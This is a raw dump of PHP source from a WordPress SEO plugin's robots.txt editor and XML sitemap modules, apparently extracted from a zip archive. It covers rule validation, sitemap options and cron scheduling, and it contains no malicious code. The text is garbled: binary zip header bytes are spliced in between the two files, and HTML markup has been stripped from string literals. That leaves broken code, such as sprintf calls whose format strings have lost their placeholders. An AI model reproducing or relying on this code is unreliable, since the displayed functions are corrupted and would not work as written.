$_POST[ "{$this->prefix}agent" ], ); $rule = $this->validate_rule( $blog_rules, $new_rule ); if ( is_wp_error( $rule ) ) { $this->add_error( $rule ); if ( $deleted_rule ) { $blog_rules[] = $deleted_rule; } } else { $blog_rules[] = $rule; } } // testing only - to clear the rules. //$blog_rules = array(); $options[ "{$this->prefix}rules" ] = $blog_rules; return $options; } /** * Sanitize Path * * @since 2.7 * * @param $path * @return string */ private function sanitize_path( $path ) { // if path does not have a trailing wild card (*) or does not refer to a file (with extension), add trailing slash. if ( '*' !== substr( $path, -1 ) && false === strpos( $path, '.' ) ) { $path = trailingslashit( $path ); } // if path does not have a leading slash, add it. if ( '/' !== substr( $path, 0, 1 ) ) { $path = '/' . $path; } // convert everything to lower case. $path = strtolower( $path ); return $path; } /** * Create Rule ID * * @since 2.7 * * @access private * * @param $type * @param $agent * @param $path * @return string */ private function create_rule_id( $type, $agent, $path ) { return md5( $type . $agent . $path ); } /** * Validate Rule * * @since 2.7 * * @param $rules * @param $new_rule * @return array|WP_Error */ private function validate_rule( $rules, $new_rule ) { if ( empty( $new_rule[ 'agent' ] ) ) { return new WP_Error('invalid', __( 'User Agent cannot be empty', 'all-in-one-seo-pack' ) ); } if ( empty( $new_rule[ 'path' ] ) ) { return new WP_Error('invalid', __( 'Directory Path cannot be empty', 'all-in-one-seo-pack' ) ); } $default = $this->get_default_rules(); $network = $this->get_all_rules( $this->get_network_id() ); if ( ! is_array( $network ) ) { $network = array(); } $network = array_merge( $default, $network, $rules ); // sanitize path. $path = $this->sanitize_path( $new_rule[ 'path' ] ); // generate id to check uniqueness and also for purposes of deletion. $id = $this->create_rule_id( $new_rule[ 'type' ], $new_rule[ 'agent' ], $path ); if ( is_array( $rules ) ) { $ids = wp_list_pluck( $rules, 'id' ); if ( in_array( $id, $ids ) ) { aiosp_log("rejected: same rule id exists - " . print_r($new_rule,true) . " vs. " . print_r($rules,true)); return new WP_Error('duplicate', sprintf( __( 'Identical rule exists: %s', 'all-in-one-seo-pack' ), $new_rule[ 'path' ] ) ); } } if ( $network ) { $nw_agent_paths = array(); foreach ( $network as $n ) { $nw_agent_paths[] = $n['agent'] . $n['path']; } // the same rule cannot be duplicated by the Admin. $agent_path = $new_rule[ 'agent' ] . $path; if ( in_array( $agent_path, $nw_agent_paths ) ) { aiosp_log("rejected: same agent/path being overridden - " . print_r($new_rule,true) . " vs. " . print_r($rules,true)); return new WP_Error('duplicate', sprintf( __( 'Rule cannot be overridden: %s', 'all-in-one-seo-pack' ), $new_rule[ 'path' ] ) ); } // an identical path as specified by Network Admin cannot be overriden by Admin. $nw_paths = wp_list_pluck( $network, 'path' ); if ( in_array( $path, $nw_paths ) ) { aiosp_log("rejected: same path being overridden - " . print_r($new_rule,true) . " vs. " . print_r($rules,true)); return new WP_Error('duplicate', sprintf( __( 'Path cannot be overridden: %s', 'all-in-one-seo-pack' ), $new_rule[ 'path' ] ) ); } // a wild-carded path specified by the Admin cannot override a path specified by Network Admin. $pattern = str_replace( array( '.', '/', '*', ), array( '\.', '\/', '(.*)', ), $path ); foreach ( $nw_paths as $nw_path ) { $matches = array(); preg_match( "/{$pattern}/", $nw_path, $matches ); if ( ! empty( $matches ) && count( $matches ) >= 2 && ! empty( $matches[1] ) ) { aiosp_log("rejected: wild card path being overridden - " . print_r($new_rule,true) . " vs. " . print_r($rules,true)); return new WP_Error('conflict', sprintf( __( 'Wild-card path cannot be overridden: %s', 'all-in-one-seo-pack' ), $new_rule[ 'path' ] ) ); } } } return array( 'type' => ucwords( $new_rule[ 'type' ] ), 'agent' => $new_rule[ 'agent' ], 'path' => $path, 'id' => $id, ); } /** * Reorder Rules * * @since 2.7 * * @access private * * @param $rules * @return array */ private function reorder_rules( $rules ) { if ( is_array( $rules ) ) { uasort( $rules, array( $this, 'sort_rules' ) ); } return $rules; } /** * Sort Rules * * @since 2.7 * * @param $a * @param $b * @return bool */ function sort_rules( $a, $b ) { return $a['agent'] > $b['agent']; } /** * Get Display Rules * * @since 2.7 * * @access private * * @param $rules * @return string */ private function get_display_rules( $rules ) { $buf = ''; if ( ! empty( $rules ) ) { $rules = $this->reorder_rules( $rules ); $buf = sprintf( "\n", __( 'Modify Rule', 'all-in-one-seo-pack' ) . ' »' ); $row = "\t \n"; foreach ( $rules as $v ) { $buf .= sprintf( $row, $v['id'], $v['id'], esc_attr( $v['agent'] ), esc_attr( strtolower( $v['type'] ) ), esc_attr( $v['path'] ), $v['agent'], $v['type'], $v['path'] ); } $buf .= "
      %s %s %s
      \n"; } return $buf; } /** * Do Robots * * @since 2.7 * * @return false|string */ private function do_robots() { // disable header warnings. error_reporting(0); ob_start(); do_action( 'do_robots' ); if ( is_admin() ) { // conflict with WooCommerce etc. cause the page to render as text/plain. header( 'Content-Type:text/html' ); } return ob_get_clean(); } /** * Custom Settings * * Displays boxes in a table layout. * * @since 2.7 * * @param $buf * @param $args * @return string */ function display_custom_options( $buf, $args ) { switch ( $args['name'] ) { case "{$this->prefix}rules": $buf .= "
      "; $rules = $args['value']; $buf .= $this->get_display_rules( $rules ); $buf .= '
      '; break; case "{$this->prefix}robots.txt": $buf .= "

      " . __( "Here's how your robots.txt looks:", 'all-in-one-seo-pack' ) . "

      "; $buf .= ""; break; } $args['options']['type'] = 'hidden'; if ( ! empty( $args['value'] ) ) { $args['value'] = wp_json_encode( $args['value'] ); } else { $args['options']['type'] = 'html'; } if ( empty( $args['value'] ) ) { $args['value'] = ''; } $buf .= $this->get_option_html( $args ); return $buf; } /** * Add Menu * * (Parent) Adds the wp-admin menu, and this adds additional menu & load-hooks for * the 1mporting and/or deleting the `robot.txt` file. * * @since 2.7.2 * * @param $parent_slug * @return bool */ public function add_menu( $parent_slug ) { $hook = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_robots'; if ( is_multisite() && is_network_admin() ) { // Add the robots.txt editor into the network admin menu. $hook = add_menu_page( 'Robots.txt Editor', 'Robots.txt Editor', 'edit_themes', plugin_basename( $this->file ), array( $this, 'display_settings_page', ) ); } add_action( 'load-' . $hook, array( $this, 'physical_file_check' ) ); return parent::add_menu( $parent_slug ); } } } PK,—[÷ñë+bb/all-in-one-seo-pack/modules/aioseop_sitemap.phpnu„[µü¤ URLs * * @since 2.11 * * @var null|array $image_ids_urls { * @type string $base_url The URL for the original sized image. * @type string ${$id} Contains the URLs associated to the IDs. * } */ private $image_ids_urls = null; /** * All_in_One_SEO_Pack_Sitemap constructor. * * @since ? */ public function __construct() { if ( get_class( $this ) === 'All_in_One_SEO_Pack_Sitemap' ) { // Set this up only when instantiated as this class. $this->name = __( 'XML Sitemap', 'all-in-one-seo-pack' ); // Human-readable name of the plugin. $this->prefix = 'aiosp_sitemap_'; // Option prefix. $this->file = __FILE__; // The current file. $this->extra_sitemaps = array(); $this->extra_sitemaps = apply_filters( $this->prefix . 'extra', $this->extra_sitemaps ); } parent::__construct(); // TODO This could be move up to the class field default/initial values. $this->comment_string = 'Sitemap %s generated by ' . AIOSEOP_PLUGIN_NAME . ' %s by Michael Torbert of Semper Fi Web Design on %s'; $this->default_options = array( 'rss_sitemap' => array( 'name' => __( 'Create RSS Sitemap', 'all-in-one-seo-pack' ) ), 'daily_cron' => array( 'name' => __( 'Schedule Updates', 'all-in-one-seo-pack' ), 'type' => 'select', 'initial_options' => array( 0 => __( 'No Schedule', 'all-in-one-seo-pack' ), 'daily' => __( 'Daily', 'all-in-one-seo-pack' ), 'weekly' => __( 'Weekly', 'all-in-one-seo-pack' ), 'monthly' => __( 'Monthly', 'all-in-one-seo-pack' ), ), 'default' => 0, ), 'indexes' => array( 'name' => __( 'Enable Sitemap Indexes', 'all-in-one-seo-pack' ), 'default' => 'on', ), 'max_posts' => array( 'name' => __( 'Maximum Posts Per Sitemap Page', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => 1000, 'condshow' => array( "{$this->prefix}indexes" => 'on', "{$this->prefix}indexes" => 'on', ), ), 'posttypes' => array( 'name' => __( 'Post Types', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => 'all', ), 'taxonomies' => array( 'name' => __( 'Taxonomies', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => 'all', ), 'archive' => array( 'name' => __( 'Include Date Archive Pages', 'all-in-one-seo-pack' ) ), 'author' => array( 'name' => __( 'Include Author Pages', 'all-in-one-seo-pack' ) ), 'images' => array( 'name' => __( 'Exclude Images', 'all-in-one-seo-pack' ) ), 'rewrite' => array( 'name' => __( 'Dynamically Generate Sitemap', 'all-in-one-seo-pack' ), 'default' => 'On', ), ); $status_options = array( 'link' => array( 'default' => '', 'type' => 'html', 'label' => 'none', 'save' => false, ), ); $this->layout = array( 'status' => array( 'name' => __( 'Sitemap Status', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/xml-sitemaps-module/', 'options' => array_keys( $status_options ), ), 'default' => array( 'name' => $this->name, 'help_link' => 'https://semperplugins.com/documentation/xml-sitemaps-module/', 'options' => array_keys( $this->default_options ), ), ); $prio = array(); for ( $i = 0; $i <= 10; $i ++ ) { $str = sprintf( '%0.1f', $i / 10.0 ); $prio[ $str ] = $str; } $arr_no = array( 'no' => __( 'Do Not Override', 'all-in-one-seo-pack' ) ); $arr_sel = array( 'sel' => __( 'Select Individual', 'all-in-one-seo-pack' ) ); $this->prio_sel = array_merge( $arr_no, $arr_sel, $prio ); $this->prio = array_merge( $arr_no, $prio ); $freq = array(); foreach ( array( 'always', 'hourly', 'daily', 'weekly', 'monthly', 'yearly', 'never' ) as $f ) { $freq[ $f ] = $f; } $this->freq_sel = array_merge( $arr_no, $arr_sel, $freq ); $this->freq = array_merge( $arr_no, $freq ); foreach ( array( 'prio' => __( 'priority', 'all-in-one-seo-pack' ), 'freq' => __( 'frequency', 'all-in-one-seo-pack' ), ) as $k => $v ) { $s = "{$k}_options"; $$s = array(); foreach ( array( 'homepage' => __( 'homepage', 'all-in-one-seo-pack' ), 'post' => __( 'posts', 'all-in-one-seo-pack' ), 'taxonomies' => __( 'taxonomies', 'all-in-one-seo-pack' ), 'archive' => __( 'archive pages', 'all-in-one-seo-pack' ), 'author' => __( 'author pages', 'all-in-one-seo-pack' ), ) as $opt => $val ) { $arr = $$s; if ( ( 'post' === $opt ) || ( 'taxonomies' === $opt ) ) { $iopts = $this->{"{$k}_sel"}; } else { $iopts = $this->$k; } $arr[ $k . '_' . $opt ] = array( 'name' => $this->ucwords( $val ), 'type' => 'select', 'initial_options' => $iopts, 'default' => 'no', ); if ( ( 'archive' === $opt ) || ( 'author' === $opt ) ) { $arr[ $k . '_' . $opt ]['condshow'] = array( $this->prefix . $opt => 'on' ); } $$s = $arr; } } $addl_options = array( 'addl_instructions' => array( 'default' => '
      ' . __( 'Enter information below for any additional links for your sitemap not already managed through WordPress.', 'all-in-one-seo-pack' ) . '

      ', 'type' => 'html', 'label' => 'none', 'save' => false, ), 'addl_url' => array( 'name' => __( 'Page URL', 'all-in-one-seo-pack' ), 'type' => 'url', 'save' => false, ), 'addl_prio' => array( 'name' => __( 'Page Priority', 'all-in-one-seo-pack' ), 'type' => 'select', 'initial_options' => $prio, 'save' => false, ), 'addl_freq' => array( 'name' => __( 'Page Frequency', 'all-in-one-seo-pack' ), 'type' => 'select', 'initial_options' => $freq, 'save' => false, ), 'addl_mod' => array( 'name' => __( 'Last Modified', 'all-in-one-seo-pack' ), 'type' => 'date', 'save' => false, 'placeholder' => 'yyyy-mm-dd', 'class' => 'aiseop-date', ), 'addl_pages' => array( 'name' => __( 'Additional Pages', 'all-in-one-seo-pack' ), 'type' => 'custom', 'save' => true, ), 'Submit' => array( 'type' => 'submit', 'class' => 'button-primary', 'name' => __( 'Add URL', 'all-in-one-seo-pack' ) . ' »', 'style' => 'margin-left: 20px;', 'label' => 'none', 'save' => false, 'value' => 1, ), ); $excl_options = array( 'excl_terms' => array( 'name' => __( 'Excluded Terms', 'all-in-one-seo-pack' ), 'type' => 'multiselect', 'class' => 'aioseop-exclude-terms', ), 'excl_pages' => array( 'name' => __( 'Excluded Pages', 'all-in-one-seo-pack' ), 'type' => 'text', ), ); $this->layout['addl_pages'] = array( 'name' => __( 'Additional Pages', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#additional-pages', 'options' => array_keys( $addl_options ), ); $this->layout['excl_pages'] = array( 'name' => __( 'Excluded Items', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#excluded-items', 'options' => array_keys( $excl_options ), ); $this->layout['priorities'] = array( 'name' => __( 'Priorities', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', // TODO Fix undefined variable. 'options' => array_keys( $prio_options ), ); $this->layout['frequencies'] = array( 'name' => __( 'Frequencies', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', // TODO Fix undefined variable. 'options' => array_keys( $freq_options ), ); $this->default_options = array_merge( $status_options, $this->default_options, $addl_options, $excl_options, $prio_options, $freq_options ); add_action( 'after_doing_aioseop_updates', array( $this, 'do_sitemaps', ) ); // Update static sitemap when AIOSEOP is upgrade to new version. add_action( 'init', array( $this, 'load_sitemap_options' ) ); add_action( $this->prefix . 'settings_update', array( $this, 'do_sitemaps' ) ); add_filter( $this->prefix . 'display_settings', array( $this, 'update_post_data' ) ); add_filter( $this->prefix . 'display_options', array( $this, 'filter_display_options' ) ); add_filter( $this->prefix . 'update_options', array( $this, 'filter_options' ) ); add_filter( $this->prefix . 'output_option', array( $this, 'display_custom_options' ), 10, 2 ); add_action( $this->prefix . 'daily_update_cron', array( $this, 'daily_update' ) ); add_action( 'init', array( $this, 'make_dynamic_xsl' ) ); // TODO is this required for dynamic sitemap? add_action( 'transition_post_status', array( $this, 'update_sitemap_from_posts' ), 10, 3 ); add_action( 'after_doing_aioseop_updates', array( $this, 'scan_sitemaps' ) ); add_action( 'admin_init', array( $this, 'sitemap_notices' ) ); } /** * Sitemap Notices * * @todo Move admin notice functions. Possibly to where it is first saved & loaded (`load_sitemap_options`). * * @global AIOSEOP_Notices $aioseop_notices * * @since 2.4.1 */ public function sitemap_notices() { if ( ! current_user_can( 'aiosp_manage_seo' ) ) { return; } global $aioseop_notices; $options = $this->options; if ( ( isset( $options[ "{$this->prefix}indexes" ] ) && 'on' !== $options[ "{$this->prefix}indexes" ] ) || ( isset( $options[ "{$this->prefix}indexes" ] ) && 'on' === $options[ "{$this->prefix}indexes" ] && 1000 < $options[ "{$this->prefix}max_posts" ] ) ) { $num_terms = 0; $post_counts = $this->get_total_post_count( array( 'post_type' => $options[ "{$this->prefix}posttypes" ], 'post_status' => 'publish', ) ); $term_counts = $this->get_all_term_counts( array( 'taxonomy' => $options[ "{$this->prefix}taxonomies" ] ) ); if ( isset( $term_counts ) && is_array( $term_counts ) ) { $num_terms = array_sum( $term_counts ); } $sitemap_urls = $post_counts + $num_terms; if ( 1000 < $sitemap_urls ) { $aioseop_notices->activate_notice( 'sitemap_max_warning' ); } else { $aioseop_notices->deactivate_notice( 'sitemap_max_warning' ); } } else { $aioseop_notices->deactivate_notice( 'sitemap_max_warning' ); } } /** * Update Sitemap from Posts * * @since 2.3.6 * * @param $new_status * @param $old_status * @param $post */ public function update_sitemap_from_posts( $new_status, $old_status, $post ) { // ignore WP API requests. if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { return; } if ( $this->option_isset( 'rewrite' ) ) { // TODO if dynamic, delete transient (we currently don't do transients). return; } $posttypes = array(); if ( ! empty( $this->options[ "{$this->prefix}posttypes" ] ) ) { $posttypes = $this->options[ "{$this->prefix}posttypes" ]; } if ( ! in_array( $post->post_type, $posttypes, true ) ) { return; } $statuses_for_updating = array( 'new', 'publish', 'trash' ); if ( ! in_array( $new_status, $statuses_for_updating, true ) ) { return; } if ( defined( 'AIOSEOP_UNIT_TESTING' ) ) { $this->do_sitemaps(); } elseif ( ! has_action( 'shutdown', array( $this, 'do_sitemaps' ) ) ) { /** * Defer do_sitemaps until after everything is done. * And run it only once regardless of posts updated. */ add_action( 'shutdown', array( $this, 'do_sitemaps' ) ); } } /** * Add Cron Schedules * * Add new intervals of a week and a month. * * @since ? * * @link https://codex.wordpress.org/Plugin_API/Filter_Reference/cron_schedules * * @param $schedules * @return mixed */ public function add_cron_schedules( $schedules ) { $schedules['weekly'] = array( 'interval' => 604800, // 1 week in seconds. 'display' => __( 'Once Weekly', 'all-in-one-seo-pack' ), ); $schedules['monthly'] = array( 'interval' => 2629740, // 1 month in seconds. 'display' => __( 'Once Monthly', 'all-in-one-seo-pack' ), ); return $schedules; } /** * Cron Update * * @since ? */ public function cron_update() { add_filter( 'cron_schedules', array( $this, 'add_cron_schedules' ) ); if ( ! wp_next_scheduled( $this->prefix . 'daily_update_cron' ) ) { wp_schedule_event( time(), $this->options[ $this->prefix . 'daily_cron' ], $this->prefix . 'daily_update_cron' ); } } /** * Daily Update * * @since ? */ public function daily_update() { $last_run = get_option( $this->prefix . 'cron_last_run' ); if ( empty( $last_run ) || ( time() - $last_run > 23.5 * 60 * 60 ) ) { // Sanity check. $this->do_sitemaps( __( 'Daily scheduled sitemap check has finished.', 'all-in-one-seo-pack' ) ); } $last_run = time(); update_option( $this->prefix . 'cron_last_run', $last_run ); } /** * Admin Enqueue Scripts * * Hook function to enqueue scripts and localize data to scripts. * * @since 3.0 * * @see 'admin_enqueue_scripts' hook * @link https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/ * * @param string $hook_suffix The current admin page. */ public function admin_enqueue_scripts( $hook_suffix ) { parent::admin_enqueue_scripts( $hook_suffix ); if ( $this->pagehook !== $hook_suffix ) { return; } wp_enqueue_script( 'aioseop-selectize', 'https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js', array( 'jquery' ), AIOSEOP_VERSION ); wp_enqueue_script( 'aioseop-search-terms', AIOSEOP_PLUGIN_URL . 'js/modules/aioseop_sitemap.js', array( 'jquery' ), AIOSEOP_VERSION, true ); } /** * Admin Enqueue Styles * * Load styles for module. * * @since 3.0 * * @see 'admin_enqueue_scripts' hook * @link https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/ * * @param string $hook_suffix The current admin page. */ public function admin_enqueue_styles( $hook_suffix ) { parent::admin_enqueue_styles( $hook_suffix ); if ( $this->pagehook !== $hook_suffix ) { return; } wp_enqueue_style( 'aioseop-selectize', 'https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.css', false, AIOSEOP_VERSION, false ); wp_enqueue_style( 'aioseop-selectize-default', 'https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.default.min.css', false, AIOSEOP_VERSION, false ); } /** * Load Sitemap Options * * Initialize options, after constructor. * * @since ? */ public function load_sitemap_options() { // Load initial options / set defaults. $this->update_options(); if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { if ( $this->options[ "{$this->prefix}max_posts" ] && ( $this->options[ "{$this->prefix}max_posts" ] > 0 ) && ( $this->options[ "{$this->prefix}max_posts" ] < 50000 ) ) { $this->max_posts = $this->options[ "{$this->prefix}max_posts" ]; } } if ( is_multisite() ) { $this->options[ "{$this->prefix}rewrite" ] = 'On'; } if ( $this->options[ "{$this->prefix}rewrite" ] ) { $this->setup_rewrites(); } /** * Filters whether to display the URL to the XML Sitemap on our virtual robots.txt file. * * Defaults to true. Return __return_false in order to not display the URL. * * @since 3.0 * * @param boolean Defaults to true. */ if ( apply_filters( 'aioseop_robotstxt_sitemap_url', true ) ) { add_action( 'do_robots', array( $this, 'do_robots' ), 100 ); } if ( isset( $this->options[ $this->prefix . 'daily_cron' ] ) && $this->options[ $this->prefix . 'daily_cron' ] ) { add_action( 'wp', array( $this, 'cron_update' ) ); } else { $time = wp_next_scheduled( $this->prefix . 'daily_update_cron' ); if ( $time ) { wp_unschedule_event( $time, $this->prefix . 'daily_update_cron' ); } } } /** * Display Custom Options * * Displays boxes for add pages to sitemap option. Requires WordPress 4.1. * * @since ? * * @param $buf * @param $args * @return string */ public function display_custom_options( $buf, $args ) { if ( "{$this->prefix}addl_pages" === $args['name'] ) { $buf .= "
      "; if ( ! empty( $args['value'] ) ) { $buf .= "\n"; foreach ( $args['value'] as $k => $v ) { if ( is_object( $v ) ) { $v = (array) $v; } $buf .= "\t\n"; } $buf .= "
      {$k}{$v['prio']}{$v['freq']}{$v['mod']}
      \n"; } } $args['options']['type'] = 'hidden'; if ( ! empty( $args['value'] ) ) { $args['value'] = wp_json_encode( $args['value'] ); } else { $args['options']['type'] = 'html'; } if ( empty( $args['value'] ) ) { $args['value'] = ''; } $buf .= $this->get_option_html( $args ); $buf .= '
      '; return $buf; } /** * Add Post Types * * Add post type details for settings once post types have been registered. * * @todo This function is being used to set up option values. This could possibly be refactored to something better suited. * * @since ? * @since 3.0 Add custom taxonomy support for Excluding Terms setting. (#240) */ public function add_post_types() { $post_type_titles = $this->get_post_type_titles( array( 'public' => true ) ); $taxonomy_titles = $this->get_taxonomy_titles( array( 'public' => true ) ); if ( isset( $post_type_titles['attachment'] ) ) { $post_type_titles['attachment'] = __( 'Media / Attachments', 'all-in-one-seo-pack' ); } $this->default_options['posttypes']['initial_options'] = array_merge( array( 'all' => __( 'All Post Types', 'all-in-one-seo-pack' ) ), $post_type_titles ); $this->default_options['taxonomies']['initial_options'] = array_merge( array( 'all' => __( 'All Taxonomies', 'all-in-one-seo-pack' ) ), $taxonomy_titles ); $this->default_options['posttypes']['default'] = array_keys( $this->default_options['posttypes']['initial_options'] ); $this->default_options['taxonomies']['default'] = array_keys( $this->default_options['taxonomies']['initial_options'] ); // Exclude Terms element items. $this->default_options['excl_terms']['initial_options'] = array(); $taxonomies_active = array(); if ( is_array( $this->options[ $this->prefix . 'taxonomies' ] ) ) { $taxonomies_active = $this->options[ $this->prefix . 'taxonomies' ]; } elseif ( ! empty( $this->options[ $this->prefix . 'taxonomies' ] ) ) { $taxonomies_active = array( $this->options[ $this->prefix . 'taxonomies' ] ); } $args_taxonomy_key = array_search( 'all', $taxonomies_active, true ); if ( false !== $args_taxonomy_key ) { // Remove 'all' as an invalid post_type. Use registered post_types selected instead. unset( $taxonomies_active[ $args_taxonomy_key ] ); // Adds all the taxonomies regardless if other taxonomies are selected; ensures all taxonomies are added. $taxonomies_active = array_merge( $taxonomies_active, get_taxonomies() ); } $excl_terms_init_opts = array(); foreach ( $taxonomies_active as $v1_taxonomy ) { $args_terms = array( 'taxonomy' => $v1_taxonomy, 'hide_empty' => false, ); $taxonomy_terms_tmp = $this->get_term_titles( $args_terms ); foreach ( $taxonomy_terms_tmp as $k2_id => $v2_term ) { $excl_terms_init_opts[ $v1_taxonomy . '-' . $k2_id ] = $v2_term . ' (' . $v1_taxonomy . ')'; } } $this->default_options['excl_terms']['initial_options'] = $excl_terms_init_opts; $post_name = ' ' . __( 'Post Type', 'all-in-one-seo-pack' ); $tax_name = ' ' . __( 'Taxonomy', 'all-in-one-seo-pack' ); foreach ( $post_type_titles as $k => $v ) { $key = 'prio_post_' . $k; $this->default_options = aioseop_array_insert_after( $this->default_options, 'prio_post', array( $key => array( 'name' => $v . $post_name, 'type' => 'select', 'initial_options' => $this->prio, 'default' => 'no', 'condshow' => array( "{$this->prefix}prio_post" => 'sel' ), ), ) ); $this->layout['priorities']['options'][] = $key; $key = 'freq_post_' . $k; $this->default_options = aioseop_array_insert_after( $this->default_options, 'freq_post', array( $key => array( 'name' => $v . $post_name, 'type' => 'select', 'initial_options' => $this->freq, 'default' => 'no', 'condshow' => array( "{$this->prefix}freq_post" => 'sel' ), ), ) ); $this->layout['frequencies']['options'][] = $key; } foreach ( $taxonomy_titles as $k => $v ) { $key = 'prio_taxonomies_' . $k; $this->default_options = aioseop_array_insert_after( $this->default_options, 'prio_taxonomies', array( $key => array( 'name' => $v . $tax_name, 'type' => 'select', 'initial_options' => $this->prio, 'default' => 'no', 'condshow' => array( "{$this->prefix}prio_taxonomies" => 'sel' ), ), ) ); $this->layout['priorities']['options'][] = $key; $key = 'freq_taxonomies_' . $k; $this->default_options = aioseop_array_insert_after( $this->default_options, 'freq_taxonomies', array( $key => array( 'name' => $v . $tax_name, 'type' => 'select', 'initial_options' => $this->freq, 'default' => 'no', 'condshow' => array( "{$this->prefix}freq_taxonomies" => 'sel' ), ), ) ); $this->layout['frequencies']['options'][] = $key; } $this->update_options(); } /** * Add Page Hooks * * Set up settings, checking for sitemap conflicts, on settings page. * * @since ? */ public function add_page_hooks() { $this->flush_rules_hook(); $this->add_post_types(); parent::add_page_hooks(); add_action( $this->prefix . 'settings_header', array( $this, 'do_sitemap_scan' ), 5 ); add_filter( "{$this->prefix}submit_options", array( $this, 'filter_submit' ) ); } /** * Filter Submit * * Change settings page submit button to read "Update Sitemap". * * @since ? * * @param $submit * @return mixed */ public function filter_submit( $submit ) { $submit['Submit']['value'] = __( 'Update Sitemap', 'all-in-one-seo-pack' ) . ' »'; return $submit; } /** * Updates Post Data * * Disable writing sitemaps to the filesystem for multisite. * * @since ? * * @param $options * @return mixed */ public function update_post_data( $options ) { if ( is_multisite() ) { $options[ $this->prefix . 'rewrite' ]['disabled'] = 'disabled'; } return $options; } /** * Get Rewrite URL * * @since ? * * @param $url * @return bool */ public function get_rewrite_url( $url ) { global $wp_rewrite; $url = wp_parse_url( esc_url( $url ), PHP_URL_PATH ); $url = ltrim( $url, '/' ); if ( ! empty( $wp_rewrite ) ) { $rewrite_rules = $wp_rewrite->rewrite_rules(); foreach ( $rewrite_rules as $k => $v ) { if ( preg_match( "@^$k@", $url ) ) { return $v; } } } return false; } /** * Get Filename * * Get the filename prefix for the sitemap file. * If a value was provided when this prefix was configurable from the settings page, return that instead of the default. * * @since 2.6 * * @return string */ protected function get_filename() { $filename = 'sitemap'; if ( ! empty( $this->options[ "{$this->prefix}filename" ] ) ) { $filename = $this->options[ "{$this->prefix}filename" ]; $filename = str_replace( '/', '', $filename ); } elseif ( 'aiosp_video_sitemap_' === $this->prefix ) { $filename = 'video-sitemap'; } /** * Filters the filename: aiosp_sitemap_filename OR aiosp_video_sitemap_filename. * * @param string $filename The file name. */ return apply_filters( "{$this->prefix}filename", $filename ); } /** * Filter Display Options * * Add in options for status display on settings page, sitemap rewriting on multisite. * * @since 2.3.6 * @since 2.3.12.3 Refactored to use aioseop_home_url() for compatibility purposes. * @since 3.0 Change 'excl_terms' to include taxonomy slugs with term id. (Pro #240) * @since 3.0 Remove WP < 3.5 old Privacy Settings link * * @param $options * @return mixed */ public function filter_display_options( $options ) { if ( is_multisite() ) { $options[ $this->prefix . 'rewrite' ] = 'On'; } if ( isset( $options[ $this->prefix . 'max_posts' ] ) && ( ( $options[ $this->prefix . 'max_posts' ] <= 0 ) || ( $options[ $this->prefix . 'max_posts' ] >= 50000 ) ) ) { $options[ $this->prefix . 'max_posts' ] = 50000; } $url = aioseop_home_url( '/' . $this->get_filename() . '.xml' ); /* translators: Link to documentation. */ $options[ $this->prefix . 'link' ] = sprintf( __( 'Click here to %s.', 'all-in-one-seo-pack' ), '' . __( 'view your XML sitemap', 'all-in-one-seo-pack' ) . '' ); $options[ $this->prefix . 'link' ] .= ' ' . __( 'Your sitemap has been created with content and images.', 'all-in-one-seo-pack' ); if ( $options[ "{$this->prefix}rss_sitemap" ] ) { $url_rss = aioseop_home_url( '/' . $this->get_filename() . '.rss' ); /* translators: Link to sitemap within current site. */ $options[ $this->prefix . 'link' ] .= '

      ' . sprintf( __( 'Click here to %1$sview your RSS sitemap%2$s.', 'all-in-one-seo-pack' ), '', '' ) . '

      '; } if ( '0' !== get_option( 'blog_public' ) ) { $options[ $this->prefix . 'link' ] .= ' ' . __( 'Changes are automatically submitted to search engines.', 'all-in-one-seo-pack' ); } if ( $this->option_isset( 'rewrite' ) ) { $rule = $this->get_rewrite_url( $url ); $rules = $this->get_rewrite_rules(); // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( ! in_array( $rule, $rules ) ) { $options[ $this->prefix . 'link' ] .= '

      ' . __( 'Dynamic sitemap generation does not appear to be using the correct rewrite rules; please disable any other sitemap plugins or functionality on your site and reset your permalinks.', 'all-in-one-seo-pack' ) . '

      '; } } if ( ! get_option( 'blog_public' ) ) { $privacy_link = '' . __( 'Reading Settings', 'all-in-one-seo-pack' ) . ''; /* translators: Link to settings to disable "Discourage search engines from indexing this site". */ $options[ $this->prefix . 'link' ] .= '

      ' . sprintf( __( 'Warning: your privacy settings are configured to ask search engines to not index your site; you can change this under %s for your site.', 'all-in-one-seo-pack' ), $privacy_link ); } $excl_terms = array(); if ( isset( $options[ $this->prefix . 'excl_terms' ] ) && is_array( $options[ $this->prefix . 'excl_terms' ] ) ) { foreach ( $options[ $this->prefix . 'excl_terms' ] as $k1_taxonomy => $v1_tax_terms ) { foreach ( $v1_tax_terms['terms'] as $v2_term ) { $excl_terms[] = $k1_taxonomy . '-' . $v2_term; } } } $options[ $this->prefix . 'excl_terms' ] = $excl_terms; return $options; } /** * Filter Options * * Handle 'all' option for post types / taxonomies, further sanitization of filename, rewrites on for multisite, setting up addl pages option. * * @todo This needs nonce support. * * @since ? * @since 3.0 Change saving 'excl_terms' to database with tax_query format for custom taxonomy support. (Pro #240) * * @param $options * @return mixed */ public function filter_options( $options ) { if ( ! isset( $this->default_options['posttypes']['initial_options'] ) ) { $this->add_post_types(); } // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( is_array( $options[ "{$this->prefix}posttypes" ] ) && in_array( 'all', $options[ "{$this->prefix}posttypes" ] ) && is_array( 